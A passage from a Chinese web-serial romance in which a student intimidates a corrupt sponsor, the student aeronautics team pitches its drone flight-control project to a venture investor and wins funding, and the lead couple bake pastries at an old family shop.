“你……你想干什么?!放开我!”冯哲色厉内荏的低吼,“你敢……” 他冯哲在商海浮沉这些年,什么场面没见过,却从未被一个年轻人如此粗暴地对待, 还是在这样一个他自以为掌控一切的场合。 “我敢?”唐简的脸逼近他, 瞳孔里翻涌的戾气让冯哲心脏骤缩, “冯哲, 凌空科创项目经理,或者说……‘冯副总’?” 在听到他精准地叫出自己真正的身份时,冯哲瞳孔微缩。 唐简语速不快, 可说出的每个字却都像淬了冰的钉子,狠狠敲进冯哲的耳膜:“凌空科创实际控制人,注册资金五千万, 实缴不足一千万。去年三次试图融资,均因技术壁垒不清和财务数据存疑失败。你名下有三套房产, 但其中两套抵押给了银行。你老婆孩子在美国,而你去年在国内, 多了个不到一岁的私生子,养在城西锦绣花园,保姆姓王。” 冯哲的脸色瞬间由红转白,呼吸一滞。 唐简没给他反应的时间, 继续道:“凌空科创去年申报的‘城市低空物流无人机集成平台’政府专项补贴,核心技术参数造假,抄袭了国外开源项目的核心代码却包装成自主知识产权,套取扶持资金二百七十万。冯总,需要我提醒你,那份原始开源协议的署名吗?” 冯哲脸上的血色瞬间褪尽,连挣扎都忘了,只剩下满眼的难以置信。这些事他做得极其隐蔽,连公司内部都鲜有人知全貌,他一个学生……他怎么可能会知道?!还了解的这么清楚! “你……你胡说八道!你这是诽谤!”冯哲试图虚张声势。 唐简嗤笑一声,另一只手松开他的衣领,却转而用指节重重顶住他颈侧的动脉,力道拿捏得恰到好处,既带来窒息般的压迫感,又不会留下明显伤痕。 “是不是诽谤你自己心里清楚。”唐简的声音压得极低,如同寒冬里刮过冰面的风,带着刺骨的冷意。“我当然也可以把相关证据链,还有你那些下三滥的事打包发到科创办、市场监管或者……你老婆的邮箱?” 冯哲浑身一僵,冷汗瞬间湿透了衬衫内衬。他老婆娘家背景深厚,若是知道他在外面那些莺莺燕燕和挪用款项的事…… “哦,对了,”唐简仿佛才想起什么,语气轻描淡写,眼神却锐利如刀,“还有你那些‘特殊’的业余爱好,喜欢对年轻女学生‘格外关照’的癖好……你说,如果这些消息不小心流出去,凌空科创还能不能拿到下一轮融资?你还能不能在这个圈子里混下去?” 冯哲看着唐简那双仿佛能洞悉一切的眼睛,第一次感到彻骨的寒意。这个年轻人……他到底是谁?他究竟是如何在短短一天半的时间之内,又是用何手段查到的这些? 唐简手上力道微微加重,逼得冯哲不得不更仰起头,姿态狼狈。 冯哲感到一阵眩晕,不仅仅是缺氧,更是因为巨大的恐惧。这些黑料一旦曝光,不仅仅是身败名裂,更是牢狱之灾! “别……别这样,唐同学,”他艰难地喘息着,妥协道,“有话好说,有话好说!合作我们可以再谈,这、这样,条件任你们开!如何?” “合作?”唐简像是听了什么笑话,眼睛里的鄙夷毫不掩饰,“你以为我们现在还稀罕你那点沾着脏钱的赞助?” “那你想怎么样?”冯哲有些气急败坏。 “很简单。”唐简冷冷看着他,“离阿篱远点,离我们团队远点。收起你那些龌龊心思和下作手段。”他微微松开一点力道,让冯哲得以喘口气,“之前不搭理你那些腌臢,是不想节外生枝。阿篱她想靠自己的努力,和团队一起干干净净地把项目做起来,做她喜欢的事,完成她的梦想。”他语气里带着一种罕见的、近乎珍视的克制,“但这不代表,我会眼睁睁看着脏东西凑到她面前,弄脏她的路。” 冯哲像是第一次真正认识眼前这个年轻人——他原本以为他不过是个有点技术、性格冷硬的学生,或许家里有点小背景…… “我不管最开始接近我们是你们主动的还是听信了谁的话,又或是跟谁做了交易,总之今天之后,如果让我发现你再搞任何小动作,或者在外面散布任何不利于阿篱、不利于我们团队的消息,”唐简慢慢松开紧揪着冯哲衣领的手,给他扯平整,然后用力拍了拍他胸口,“我保证你失去的,绝不仅仅是凌空科创。” 冯哲被他拍的踉跄了一下,狼狈地推了推歪斜的眼睛,脸色一阵青一阵白,喘着粗气没作声。 唐简也不再理会他,转身走到洗手台前,慢条斯理地冲了冲手。动作从容不迫,仿佛刚才那个浑身戾气的人不是他。洗完他擦了擦手,整理了一下自己袖口,冷淡地瞥了冯哲一眼:“冯总,好自为之。” 说完,他转身拉开门,从洗手间走了出去。 门外走廊柔和的光线落在他身上,仿佛瞬间洗去了方才在密闭空间里弥漫的戾气,他又变回了那个冷静自持的年轻学生模样,只是眼底深处残留的意思锐利,昭示着方才发生的一切并非幻觉。 与此同时,宴会厅内。 柔和的音乐以后,交谈声细微而持续。 周予焦急地踱着步,不时望向洗手间的方向,心里七上八下。唐简跟前进去这么久没出来,他真怕两人在里面动起手来,那是清酒真的无法收场了。 而身旁的夏篱却显得异常平静。 她站在原地,目光快速而冷静地扫视着整个会场。冯哲被唐简拖住,这对他们而言是个意想不到的机会。她不能浪费唐简为她争取来的时间和空间。 她的视线掠过那些高谈阔论、彼此试探的男人们,大多带着一种固有的傲慢和审视。直到她的目光落在靠近落地窗边,一个相对安静的角落。 那里站着一位女士。 她看起来四十岁左右的年纪,穿着一身剪裁利落的深灰色西装套裙,颈间系着一条色彩淡雅的丝巾,妆容精致却不张扬。她没有像其他人那样扎堆交谈,只是独自端着一杯香槟,偶尔抿一口,目光沉静地望着窗外的城市夜景,偶尔才会将视线投向场内,带着一种疏离的观察。 这位女士气质独特,沉静中自带一股不容忽视的力量感。夏篱注意到,偶尔有人上前与她交谈,态度都显得颇为尊重,而她回应时言简意赅,眼神锐利。更重要的是,夏篱在她身上没有感受到那种常见的、对年轻学生或女性技术者的轻视。 直觉告诉夏篱,这个人或许不同。 她深吸一口气,不再犹豫。看周予还在焦虑张望洗手间的方向,她端起自己的那杯几乎没动过的红酒,调整了下呼吸,脸上露出从容得体的微笑,朝着那位女士的方向稳步走去。 夏篱走得并不快,步伐稳健,在距离对方几步远的地方停下,没有冒然打扰,而是选择了一个合适的距离,同样望向窗外的夜景,仿佛只是偶然驻足于此。 片刻的静默后,夏篱才转过头,看向那位女士,脸上露出一个得体而不过分热情的微笑,声音清亮地开口:“这里的视野真好,能将大学城的夜景尽收眼底。” 那位女士闻声转过头,目光落在夏篱身上。她的眼神带着一丝被打扰的审视,但并无不悦,只是平静地打量着眼前这个过分年轻、气质干净的女孩。 “是不错。”她微微颔首,声音平和,带着一种冷静到洞悉一切的质感,“尤其是那片灯火通明的区域,是北城大学的工程楼群吧?” “是的。”夏篱心下微惊,表面却依旧淡定,“那边主要是机械、航空、自动化及各学院的实验楼和工程训练中心。” “充满活力的地方。”女士评论道,语气听不出太多情绪,但目光却似乎在那片灯火中多停留了一瞬。 简单的寒暄后,气氛有片刻的凝滞。夏篱知道必须尽快切入正题,否则这次搭讪就会无疾而终。 她不再绕圈子,直接而坦诚地自我介绍:“您好,冒昧打扰。我叫夏篱,是北城大学大一的学生,也是学校航模社SAE高级组项目的团队成员。” 夏篱敏锐察觉到,在听到“SAE高级组”时,那位女士的眼神几不可察地动了一下。 “SAE航空设计大赛?”女士确认道,语气里多了一丝兴趣,“今年高级组的命题似乎是聚焦城市低空环境下的创新推进系统?” “是的!”夏篱心中一动,眼睛瞬间亮了。因为对方不仅知道SAE,还清楚今年的命题方向!她竭力按捺住激动,握紧手里的高脚杯,看着对方,“我们团队目前正在挑战适量推进与仿生飞控结合的方案。” 女士闻言点了点头,“很有挑战性的方向。你在团队是负责?” “我主要负责飞控算法和适量推进部分的耦合设计。”夏篱答道。 一丝讶异在对方眼中一闪而过。 她重新上下打量了一下夏篱,挑了挑眉,“适量推进与仿生飞控结合,听起来很美,但技术耦合难度极大。你们团队是如何考虑解决执行器延迟和飞控响应匹配这个核心问题的?我猜想你们学校应该不可能直接给你们拿太多经费硬造吧?” 这个问题直指核心,夏篱却没有丝毫怯场,反而精神一振,迅速在脑中组织语言,条理清晰道:“您说得对,这是核心难点之一。但我们的思路并非追求高成本的超低延迟硬件,而是通过算法层面进行补偿和预测。具体来说,我们设计了一套基于强化学习在线微调的控制器,它能够根据实时传感器数据和集体动态响应,提前预测系统延迟,并对控制指令进行前置补偿。同时,在飞控算法中,我们引入了一种轻量级的动态逆模型,用于快速估算不同飞行姿态下的系统状态,减少对高精度、高频率传感器的依赖……” 她一边说,一边注意到对方听得很专注,这更让她暗暗激动起来…… “……我们目前已经完成了简化验证机的试飞,初步数据表明,这套方法在悬停和低速机动下,能将有效控制延迟降低到可接受的范围,虽然距离理想状态还有差距,但证明了技术路线的可行性。这是我们初步的仿真数据和一些关键代码逻辑框架……” 夏篱说着下意识想拿出手机展示,却见对方摆了摆手,示意不必:“理解。” 原本夏篱被这一下摆手摆得心脏一顿,但随即因为对方接下来的话再次强劲地跳动起来,“所以你们走的是‘以软补硬’的路线,通过算法优化来降低对硬件的机制要求,从而在有限成本下实现功能验证和性能提升。” 夏篱闻言几乎想要跳起来了——因为对方如此精准的概括。 “是的,女士。”她深吸口气,看着对方用力点点头道。 听到夏篱如此称呼自己,岑静才想起来聊了这么多还没自我介绍。她将手里的高脚杯换到左手,朝夏篱伸手,“启明科技,岑静。” 启、明、科、技! 夏篱心中一震,忍不住微微瞠目。 启明科技是一家在业内以技术严谨、眼光独到而闻名的风险投资公司,尤其专注于硬科技和前沿技术领域的早期投资。与凌空科创那种半路出家的公司完全不同,启明科技在技术圈内有着极高的声誉……此时比起她能在这里听自己说这么多,夏篱更奇怪对方怎么会出现在这个“名不见经传”的小型交流会上? 但好在她分得清孰轻孰重,知道眼下能够紧紧抓住机会才是重中之重。 夏篱微微倾身谦卑地和对方轻轻一握手,“岑总,久仰。” “你们很巧妙的思路。”岑静看起来似乎对她也很有好感,看着夏篱浅淡笑了笑,语气中带着一丝赞赏,“这需要非常扎实的理论功底和对系统工程的深刻理解。尤其是在校生团队,能做到这一点,很难得……而且听你刚刚介绍,你现在刚读大一?” “是。”夏篱点点头,“不过我们团队里人才济济,学长学姐们都很优秀,也很努力。” “比如和你一起来的那两位男生吗?”岑静视线越过她看向不远处始终张望她们这里的周予和刚刚从走廊出来目光正搜寻着什么的唐简。 夏篱喉咙动了动,压根儿不清楚对方是何时就注意到他们的。 可此时她只能佯装淡定地点了点头,回看着岑静不卑不亢道,“是。穿灰色西装的是我们的社长周予,主要负责对外资源对接和载荷舱设计;黑色西装的唐简则负责硬件整合和实测试飞。” “既然对外资源对接的是你们的社长,那为什么找我来攀谈的却是你呢?”岑静突然问道。 这冷不丁的一个问题让夏篱不由地抿了抿唇,喉咙吞咽一下,一时竟没接上话。 第80章 夏篱的心跳在岑静抛出这个直白问题的瞬间漏跳了一拍。她看着对方那双仿佛能洞悉一切的眼睛, 短暂的慌乱后,迅速镇定下来。隐瞒或编造理由在这样的人面前毫无意义,甚至可能弄巧成拙。 她深吸一口气, 选择坦诚相告:“因为社长正在为另一位潜在合作方的事分心,而我认为我们的技术本身, 比任何社交辞令都更有说服力。我不想错过与您交流的机会。”她顿了顿,语气带着年轻人特有的、未经打磨的真诚,“而且,由技术核心直接阐述核心思路,我觉得效率是最高的。” 这番近乎莽撞的坦诚让岑静眼中掠过一丝极淡的讶异, 随即化为一种更深沉的兴趣。对比试图在她面前玩弄话术的创业者, 夏篱这种单刀直入的“技术性莽撞”, 反而显得有些珍贵。 “效率很高, 风险也不小。”岑静点评道,语气听不出褒贬,“如果我对你的技术不感兴趣, 或者认为你过于冒失,你可能会直接断送一次机会。” “但您感兴趣了,不是吗?”夏篱看着她, 眼神清亮,带着一种基于技术自信的笃定。 岑静终于露出了一个更明显的、带着些许欣赏的笑容。 “很有趣。”少顷她笑笑, 目光越过夏篱看向她身后。 夏篱顺着她视线回头,看到唐简大步流星地走来, 神色看似平静,但眼底深处那抹未散的冷厉和看向她时一瞬的松弛,没能逃过她的眼睛。 唐简走到她身边,目光快速在她脸上扫过, 才转向岑静,礼貌地微微颔首,“打扰了。” “这位是启明科技的岑总。”夏篱立刻介绍。 唐简眸光微动,显然知道“启明科技”的分量,伸手自我介绍道,“岑总,您好。北城大学飞行器设计与工程大二,唐简。” 岑静的视线在唐简和夏篱之间打了个转,扬眉伸手和他轻握了握,“刚听夏篱同学提到,你负责团队里的硬件整合和实测试飞。你们基于算法补偿的思路,对硬件平台的稳定性和可靠性要求其实更高,你们如何保证在低成本条件下,硬件不成为算法的短板?” 问题单刀直入且尖锐。 “抓大放小,重点投入。”唐简看着倒是一如既往的淡定,言简意赅的总结道。 随即才又解释说:“关键传感和执行部件选用经过市场验证、性价比最优的型号,牺牲部分非核心性能换取稳定性和一致性。同时,通过结构冗余设计和主动震动抑制算法,补偿基础硬件在极端工况下的不足。我们自制的测试台架和标准化的调试流程,可以快速定位并排出大部分硬件兼容性问题。第一代验证机的成功试飞,已经证明了这套方法的有效性。” 他的回答和夏篱之前的阐述完美呼应,一个助攻软件算法,一个夯实硬件基础,团队清晰的技术分工和扎实的工程化能力不言而喻。 周予不知何时也跟在唐简身后凑了过来,他虽然因为不知唐简在洗手间对冯哲做了什么而迟迟没再看到对方出来而有些忐忑,但眼见夏篱和那位女士“相谈甚欢”,他到底是还记得自己的身份。 周予过来后并未冒然插嘴,只是安静地站在夏篱侧后方,在三人对话告一段落后,才在岑静目光移过他这边时,躬身伸手上前介绍自己。 在听到夏篱给自己介绍岑静是“启明科技”的人时,整个人更是冷汗都差点儿下来。 “周社长,你的团队成员看起来似乎比你要优秀的多啊。”岑静看他笑了笑。 周予顿顿,尴尬之色在脸上一闪而过。但随后看了看夏篱和唐简,开口时倒是摒弃了面对冯哲时常有的那种过度热情和略显卑微的姿态,不论真假声音听起来确实沉稳而真诚,“岑总慧眼。我们团队确实非常优秀,尤其夏篱和唐简在技术上的判断和执行力,时常让我甘拜下风。” “哦?”岑静笑笑,“那你作为团队的负责人,你如何评估你们这套‘以软补硬’方案在市场层面的潜在价值,而不仅仅是技术竞赛中的表现?” 周予心头一紧,知道这才是真正的考验。 他强迫自己冷静下来,暗自告诫自己可不能因为他而搞砸了夏篱碰来的这个机会,“岑总,我们非常清楚SAE大赛本身不是重点。我们选择这条技术路径,正式因为看到了它在未来城市低空物流、特种巡检等应用场景下,对成本控制和系统可靠性等饿苛刻要求。我们的方案,本质上是在探索一种在高性能与低成本之间取得更优平衡的通用技术路径。大赛是我们验证这条路径可行性、锤炼团队的第一个平台。” 周予这番话说得不卑不亢,与他之前面对冯哲时的急切截然不同。 岑静听完,未置可否,只是目光重新回道夏篱身上,“假设,我现在愿意提供一笔足以让你们摆脱现有资源束缚、使用顶级硬件进行开发的资金,你们会立刻放弃现在的低成本优化路线吗?” “当然不会。”夏篱回答得毫不犹豫,眼神清澈而坚定,“我们会将资金用于更深入的算法迭代、更精密的测试验证以及关键瓶颈的公关,‘以软补硬’、追求系统最优解的核心思路不会变。因为这才是我们项目真正的创新点和长期价值所在,而不仅仅是制造一台昂贵的参赛机器。我不说,想必您肯定也会清楚,直接使用顶级硬件一定可以更快的出成绩,但却会掩盖真正的问题,这也背离了我们探索这条技术路线的初衷。” 岑静眼底终于掠过一丝真正的欣赏。 她见过太多为了融资而轻易改变技术路线、迷失方向的团队,尤其是年轻团队。眼前这几个年轻人,在可能的诱惑面前表现出来的清醒和坚持,比他们的技术本身更让她意外。 岑静从手包里取出一张素雅的名片,递给夏篱,“这是我助理的联系方式。你联系她她会告诉你接下来要怎么做。”她顿顿,目光扫过三人,“我希望你们可以记住,真正的投资人,投资的是你们这个人和你们所创造的真实价值,而不是一个听起来美妙却无法落地的故事。” 岑静的话意味深长,仿佛意有所指。 夏篱目光一静,视线从面前的名片看向岑静,隐约感觉到她似乎对刚才冯哲那边的小插曲并非一无所知。 “谢谢岑总!我们一定认真准备!”周予强压着激动,连忙应道。夏篱和唐简也郑重地点头。 岑静微微颔首,不再多言,优雅地转身放下手里的高脚杯,提着手包离开了。 而远处的冯哲,眼见岑静离开,看着夏篱和唐简并肩而立的画面,脸色铁青,但最终也只是转身,彻底消失在了会场入口处。 这边岑静一离开,周予差点儿没跳起来,用力挥了下拳头,压低声音道:“我的天!启明科技!我们这是走了什么狗屎运!”他看着夏篱,眼神充满了感激,“学妹你可真的太牛了!太牛了!” 夏篱握紧了手中的名片,感受着上面细微的压纹。 “未必是好运呢,社长,”她收起名片看了眼周予,淡淡提醒道,“万一是下一个‘冯哲’呢。” “……”周予哭丧着脸,“别吧,学妹!我们已经够惨了啊!凌空科创那边……”他看了眼唐简,叹气,“我看是死绝了。我们费了那么大力,结果是一点好没讨到,要是今天也败兴而归,我可真要疯了!” “再说凌空科创跟启明科技那可不是一个量级的!他们总部可是跨国大集团……不至于有那功夫跟我们一个学生团队过家家吧?!” 唐简自然而然地牵起夏篱的手,闻言看周予道,“你也说了人总部是跨国大集团……所以她为什么会出现在这种小型的行业交流会上,你就没一点怀疑吗?” “…………”周予愣了一下。 “……也是啊!为什么?” 唐简边走边说:“看那个岑总的样子,不像是对我们一无所知,或许她这个时间点出现,本身就是一种筛选。” 周予反应了下,连忙跟上去,震惊地睁大了眼,“你的意思是她之前就知道我们,有可能就是因为我们才出现在这里的?” “……”唐简无言道,“我的意思是,这样一个大公司关系网不是我们这种学生能想象的,机会要抓紧,但也要吃一堑长一智。” “对对对,有道理有道理。”周予掏出来手机,“我现在就往群里发消息叫人去307开会!这次资料我们要准备的比凌空科创还要完美才行!” 唐简伸手盖住他手机往一边推了推,看他,“会明天再开。” “可是——”周予还想说什么,但对上唐简略有些冰冷的目光,他嗓子眼就像是突然被什么糊住了一样,后知后觉地反应过来什么,“呃,也是,今天都这么晚了……还是周日,最近我们都太累了确实该休息休息,有什么事等明天跟启明科技联系了再说!” 三人离开云顶餐厅时,夜色已浓。 初秋的晚风带着凉意,吹散了方才在宴会厅里沾染的些许浮华气息。周予一路车上除了絮絮叨叨地复盘刚才在交流会上和岑静的对话,也忍不住担心冯哲那边后续会不会有什么麻烦。 校门口下了车,唐简对周予道:“社长你先回去吧,我和阿篱还有点事。” 周予一愣,看了看唐简,又看了看旁边似乎也有些意外的夏篱,脸上露出一个“我懂了”的暧昧表情,嘿嘿笑了两声,非常识趣地摆摆手:“好好好,明白明白!不打扰你们二人世界!我先撤了,有事群里说!” 说完,便脚步轻快地溜进了校门,转眼就消失在夜色里。 夏篱疑惑地看向唐简:“我们还有什么事?” 唐简没直接回答,只是重新牵起她的手,指尖自然地嵌入她的指缝,带着她转身朝和学校相反的方向走去:“带你去个地方。” 他的手掌温暖干燥,力道稳妥,夏篱便也不再多问,任由他牵着,穿过灯火阑珊的街道。约莫走了十来分钟,拐进一条相对安静的老街,空气里渐渐弥漫开一股甜丝丝的香气。 最终,唐简在一家看起来颇有些年头的店铺前停下。 这家店面不大,木质的招牌上刻着“陈记仙豆糕”五个字。字体古朴,窗玻璃上凝结着温暖的水汽,透出里面暖黄的灯光。 “陈记仙豆糕,”夏篱看着门匾上的字,喃喃重复,随即一个猜测隐隐浮现。她扭头看身旁的唐简,讶异问道:“这不会是……外公当年亲自学做仙豆糕送给外婆的那家老店吧?”《 》 80-90 第81章 唐简低头看着她, 眼底映着店铺暖黄的灯光,漾开一片温柔。 他轻轻“嗯”了一声,牵着她推开了那扇挂着小小铃铛的玻璃门。 “叮铃——”清脆的响声在静谧的店铺里荡开。 店内空间不大, 却布置得温馨整洁。空气中弥漫着浓郁香甜的豆沙和烤制面点的气息,暖意驱散了秋夜的微寒。 柜台后, 一位系着干净围裙、面容和善的中年妇人闻声抬起头,笑容温婉:“欢迎光临,这么晚了想吃点什么?我们快打烊了,不过还有些刚出炉的紫薯和红豆味仙豆糕。” “阿姨您好,”唐简开口, 声音不自觉地放轻了些, 仿佛怕惊扰了这份跨越时光的宁静, “我预约了今天来店里试做仙豆糕。” “预约?”这时里间帘子掀开, 一位同样系着围裙、身材微胖、笑容爽朗的中年男人走了出来,手里还拿着块抹布:“姓唐是吧?来来,快进来吧。材料都准备好了。” 男人打量着眼前这对容貌出众的年轻人, 眼神清澈友好,“看你们面生,是附近大学的学生?以前没来过吧?” 夏篱的心轻轻跳动着, 一种奇妙的宿命感萦绕心头。 她点点头,声音带着一丝不易察觉的激动:“嗯, 第一次来。是听家里长辈提起过……说这家店很久了,味道特别好。” 老板一边熟练地把准备好的面粉、馅料和各种工具拿出来, 一边笑着接话,“是啊!这店是从我爹那辈传下来的,快五十年咯!我们两口子接手也二十多年啦。虽然铺面一换再换,但很多老顾客从小吃到大, 现在都带着自己的孩子来。昨天小伙子打电话约这个时间来我原本都不打算接啦,可是这小伙子说他外公以前在北城大学读书时就常常来,我这才同意的咯!” 他说着哈哈笑了起来,气氛顿时变得轻松起来。 “谢谢叔叔。”夏篱甜甜笑了笑。 她和唐简对视一眼,都在彼此眼中看到了些许感慨。世间机缘,有时就是如此奇妙。他们未曾见过当年的老板,却因着外公外婆的故事,与他们的后人在这温暖的秋夜相遇。 在老板的耐心指导下,两人洗净手,系上围裙,开始笨拙却又认真地尝试。和面、包馅、用特制的模具塑形成方方正正的小块……步骤看似简单,实际操作起来却状况百出。 但这其实并不是他们第一次做。 仙豆糕是外婆最喜欢的点心,外公时常会在家里亲自给她做。但说来也巧了,夏篱和唐简从小组飞机布线信手拈来,捏个面团却是双双惨不忍睹,令人不忍直视。 夏篱手指纤细,但面对粘稠的面团显得有些无从下手,鼻尖不小心蹭上了点点面粉。唐简看着她微蹙着眉、全神贯注的模样,眼底笑意更深。但他这边也好不到哪里去,试图把馅料完美地包进面皮里,却总是捏不拢,露了馅儿,弄得满手都是豆沙。 “哎呀,你这面皮擀得太薄了。”夏篱看着唐简手里几乎透明的面皮,忍不住嫌弃提醒。 “你的馅料放太多了,”唐简看着她手里那个几乎要撑破的“圆球”,也“啧”声摇头,“怪不得包不住。” 两人你一言我一语,像小时候一起做手工时那样,带着点互不服气的较劲,又有着无需言明的默契。老板和老板娘在一旁看着,不时出声指点两句,脸上始终挂着温和的笑意,仿佛透过他们,看到了无数对曾在这里留下欢声笑语的年轻身影。 经过一番“奋战”,几个形状各异、勉强能看出方正轮廓的仙豆糕终于摆上了烤盘。被送入烤箱后,两人看着彼此手上、脸上沾着的面粉和豆沙,都忍不住笑了出来。 等待的时间里,他们坐在靠窗的小桌旁,听着老板絮絮叨叨地讲着店里这些年的变化,讲着那些关于味道和传承的琐碎。 窗外是冷清的夜,窗内是温暖的灯火和食物的甜香。夏篱忽然觉得,连日来因项目、赞助而紧绷的神经,在这一刻得到了前所未有的松弛。 当烤箱“叮”的一声响起,浓郁的香气瞬间爆发出来。他们亲自制作的仙豆糕出炉了,虽然外形远不如柜台里售卖的规整漂亮,甚至有几个因为露馅儿而显得有些狼狈,但那金灿灿的外皮和散发出的诱人香气,却带着独一无二的成就感。 夏篱小心地吹着气,咬了一小口。外皮酥脆,内里软糯香甜,豆沙馅细腻温润,恰到好处的甜意在舌尖化开,一直暖到心里。她抬头看向唐简,他也正低头看着她,两人相视而笑。 “很好吃。”夏篱对老板和老板娘真诚地说。 老板爽朗一笑:“自己动手做的,意义不一样嘛!” 离开时,唐简付了款,夫妻俩还特意给他们包了好几块店里招牌口味的仙豆糕,坚持不肯再多收钱,只笑着说欢迎他们下次再来。 回到学校已是深夜,尽管身体疲惫,但夏篱的精神却处于一种亢奋状态。她没有立刻休息,而是借着这股劲儿,回到宿舍后便按照名片上的联系方式,给岑静的助理发去了一封措辞严谨、内容清晰的邮件。 出乎意料的是,第二天上午,她就收到了助理礼貌的回复,直接约定了周三下午前往启明科技进行面对面沟通,并明确列出了希望他们准备的资料清单。 夏篱当即把消息转发到了核心团队群。 不用任何动员,整个团队以极高的效率自发运转起来。 周三下午,夏篱一行人提前抵达了位于CBD核心区的启明科技。 与凌空科创那种刻意营造的“创新”氛围不同,启明科技的公司环境透露出一种冷静而高效的专业感。开阔的挑高大堂,线条简洁利落,灰白色调的主旋律点缀着科技蓝,空气净化系统保持着宜人的温度和湿度。 除了唐简和夏篱,余下几人甚至连自认也见过些“世面”的周予和陈默也暗自惊叹,而向来喜怒不形于色的何晓雯手心都有些冒汗。 前台接待人员训练有素,确认预约后,礼貌地引领他们前往会议室。 沿途经过办公区,员工们大多专注于自己的工作,交谈声压低,节奏明快。透过一些玻璃隔断,能看到里面摆放着先进的实验设备和原型机,处处彰显着这家公司在硬科技领域的实力与投入。 会议室宽敞明亮,巨大的环形会议桌居中,一侧是正面的玻璃幕墙,俯瞰着城市繁华景象,另一侧则是可书写的智能屏。几位穿着商务休闲装的人员已经就座,有男有女,年龄在三十到五十岁不等,神情专注而平静,没有过多的寒暄,只是在他们进来时点头致意。 岑静坐在主位,她今天穿着一身深蓝色西装,气场比那晚在酒会上更显强大干练。 “请坐。”岑静看着几人,微微颔首,“时间有限,直接开始吧。” 周予作为社长,首先起身进行项目概述和商业前景分析。他努力克制着紧张,尽量用清晰、有条理的语言介绍项目的起源、目标市场、竞争优势以及初步的商业模式构想。他摒弃了面对冯哲时那种略带夸张的推销口吻,转而用数据和逻辑说话。 启明的人听得很专注,不时在笔记本上记录。 轮到技术部分,夏篱和何晓雯一起上前。何晓雯负责更底层的算法结构和数学证明,言简意赅,逻辑严密。夏篱则负责讲解整体飞控与矢量推进的耦合设计、仿真验证结果以及“探索者1号”的试飞数据分析。 她切换着PPT,屏幕上展示出复杂的算法逻辑图、仿真曲线和实飞视频片段。当展示出“探索者1号”在强扰动模拟环境下依然保持稳定的数据曲线时,那位戴黑框眼镜的男性技术负责人终于开口,问了一个非常深入的技术问题,涉及算法在极端工况下的失效边界。 夏篱早有准备,与何晓雯配合,给出了严谨的回答,并展示了相关的失效模式分析和应对策略。 唐简紧接着上场。 他没有急于开口,而是先将带来的一个便携式保护箱放在桌上,打开卡扣,露出里面精心固定着的“探索者1号”验证机核心飞控模块和经过改良的矢量舵机结构件。实物一出,瞬间吸引了所有人的目光。 与PPT上冰冷的图标和线条相比,这些带着焊接痕迹、路线粗糙却实实在在的硬件,散发着一种无声但强大的说服力。 “各位老师,”唐简的声音沉稳,带着一种与他年龄不符的老练,“这是我们第一代验证机的‘心脏’和‘肌肉’。”他拿起那块集成了飞控芯片和传感器的核心板,“基于开源飞控二次开发,成本不足市面上同等性能商业模块的三分之一。”接着,他指向那个3D打印的矢量喷口结构,“PLA材料,配合改装的小型舵机,实现基础矢量偏转。精度有限,但足以验证核心逻辑。” 他切换PPT,展示出硬件架构图和详细的测试数据。 “我们的硬件策略,并非追求单一部件的极致性能,而是强调整体系统的稳定性、可靠性和成本控制之间的最优平衡。” “我们自建了完整的测试流程和环境,”唐简调出一段视频,展示着他们在实验室里搭建的简易风洞、振动测试台和数据采集系统,“确保每一个硬件模块都经过充分验证,能与算法无缝对接。‘探索者1号’的成功试飞,不仅仅是算法的胜利,更是这套硬件哲学可行性的证明。” 一位一直沉默的、看起来更偏向工程落地的女负责人忽然提问:“如果资金到位,你们硬件升级的优先级是怎样的?会立刻全部替换为顶级商业件吗?” “不会。”唐简看向她,“我们会优先升级对整体性能提升更关键的‘瓶颈’部件,比如更高精度的IMU和更可靠的执行点击。但对于已经验证可行的低成本方案,我们会保留并继续优化。我们的目标是证明这条技术路线的上限,而不是简单地用钱堆出一台性能怪兽。那背离了我们的初衷,也失去了项目的独特价值。” 展示环节结束,进入提问和交流阶段。 启明科技的几位负责人轮番发问,问题尖锐而专业,覆盖了技术细节、团队分工、项目风险评估、知识产权归属和未来商业化路径等方方面面。 问答持续了近四十分钟。 终于,岑静合上了手中的笔记本,目光扫过眼前这群眼神明亮、面容虽带疲惫却难掩兴奋的年轻人。她没有立刻表态,而是沉吟了片刻方才开口:“坦白说,在见你们之前,我收到过很多大学生团队的商业计划书,其中不乏听起来更‘性感’更宏大的概念。但你们今天展示的,不仅仅是技术,更是一种难能可贵的‘工程思维’和务实态度。在资源受限的情况下,能找准问题核心,用智慧和汗水趟出一条可行的路径,这非常不容易。” “技术上的创新和潜力,我们看到了。团队的执行力和信念,我们也感受到了。”岑静顿顿,继续说道,“但是想法到产品,产品到商品之间有巨大的鸿沟。你们的方案在特定场景下的优势需要更大量的实测数据支撑,商业模式的闭环也需要更细致的打磨。” 她的话让周予的心提到了嗓子眼,夏篱也不自觉地屏住了呼吸。 岑静看身旁的同事,几人微微点了点头。她这才重新看向他们,脸上露出一丝极淡却肯定的笑容:“可我们启明投资,恰巧看重的就是长期价值。是能够穿越周期、解决真实问题的技术和团队。你们的项目,符合我们的投资方向。所以——” “我初步决定,启明科技将对你们的SAE高级组项目进行天使轮投资。具体投资额度、占股比例以及后续的支持方案,我的团队会尽快出一份详细的Term Sheet发给你们。” 一瞬间,会议室里安静得仿佛能听到针落地的声音。 紧接着,巨大的、几乎要冲破胸膛的狂喜席卷了周予几人! 成功了!他们真的做到了!不是施舍,不时带有枷锁的“赞助”,而是真正意义上的、来自顶级风投的认可和投资! 周予激动得差点跳起来,脸涨得通红,只能用力掐着自己的大腿才能保持一丝清醒。夏篱感觉自己的心脏在胸腔里剧烈地跳动着,一股热流涌向四肢百骸。她下意识地看向身边的唐简,他也正看着她,那双深邃的眼眸里,映着她同样舒展而明亮的喜悦。 唐简放在桌下的手,悄悄伸过来,紧紧握住了她的,力道大得几乎有些发疼,却传递着无比坚实的力量。 “谢谢!谢谢岑总!谢谢各位老师!”周予终于找回了自己的声音,连忙起身鞠躬感谢,声音因为激动而有些沙哑和颤抖,但充满了真挚的感激。 岑静微微颔首:“不用谢我们。是你们用自己的实力赢得了这个机会。希望你们记住今天的这份初心,用好这笔资金,不仅仅是完成比赛,更是真正把你们的技术构想落到实处,创造出应有的价值。” “我们一定会的!”几人异口同声,语气斩钉截铁。 巨大的成功感和不真实的轻盈感交织在一起,离开启明科技那座气派的写字楼,重新站在秋日明媚的阳光下时,夏篱竟有种恍如隔世之感。 第82章 周予几人可谓是第一次真正意识到什么是大公司的超绝执行力, 他们刚从1号线地铁上下来准备换成7号线回学校,夏篱就收到了来自岑静助理的确认邮件。 一行人围着圈蹲在地铁站柱子边上,反复看着邮箱里的邮件, 仿佛要将每一个字都抠出来吞下去。 